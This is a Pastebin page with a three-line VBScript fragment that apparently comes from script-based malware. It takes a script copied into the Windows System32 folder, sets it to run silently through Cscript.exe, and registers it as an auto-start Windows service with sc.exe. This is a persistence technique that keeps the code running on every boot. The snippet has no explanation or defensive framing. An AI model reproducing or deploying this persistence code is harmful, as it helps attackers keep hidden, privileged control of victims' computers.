Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1.
- Set ruservi = shellobj.Environment("PROCESS")
- 2.
- binpathidn = ruservi("WINDIR") & """\System32\Cscript.exe /B /nologo """ & ruservi("WINDIR") & "\System32\" & installname
- 3.
- shellobj.run ("cmd.exe /C sc.exe Create sscname binpath= " & binpathidn & " type= own start= auto error= normal" &"&exit") ,false
Advertisement
Add Comment
Please, Sign In to add comment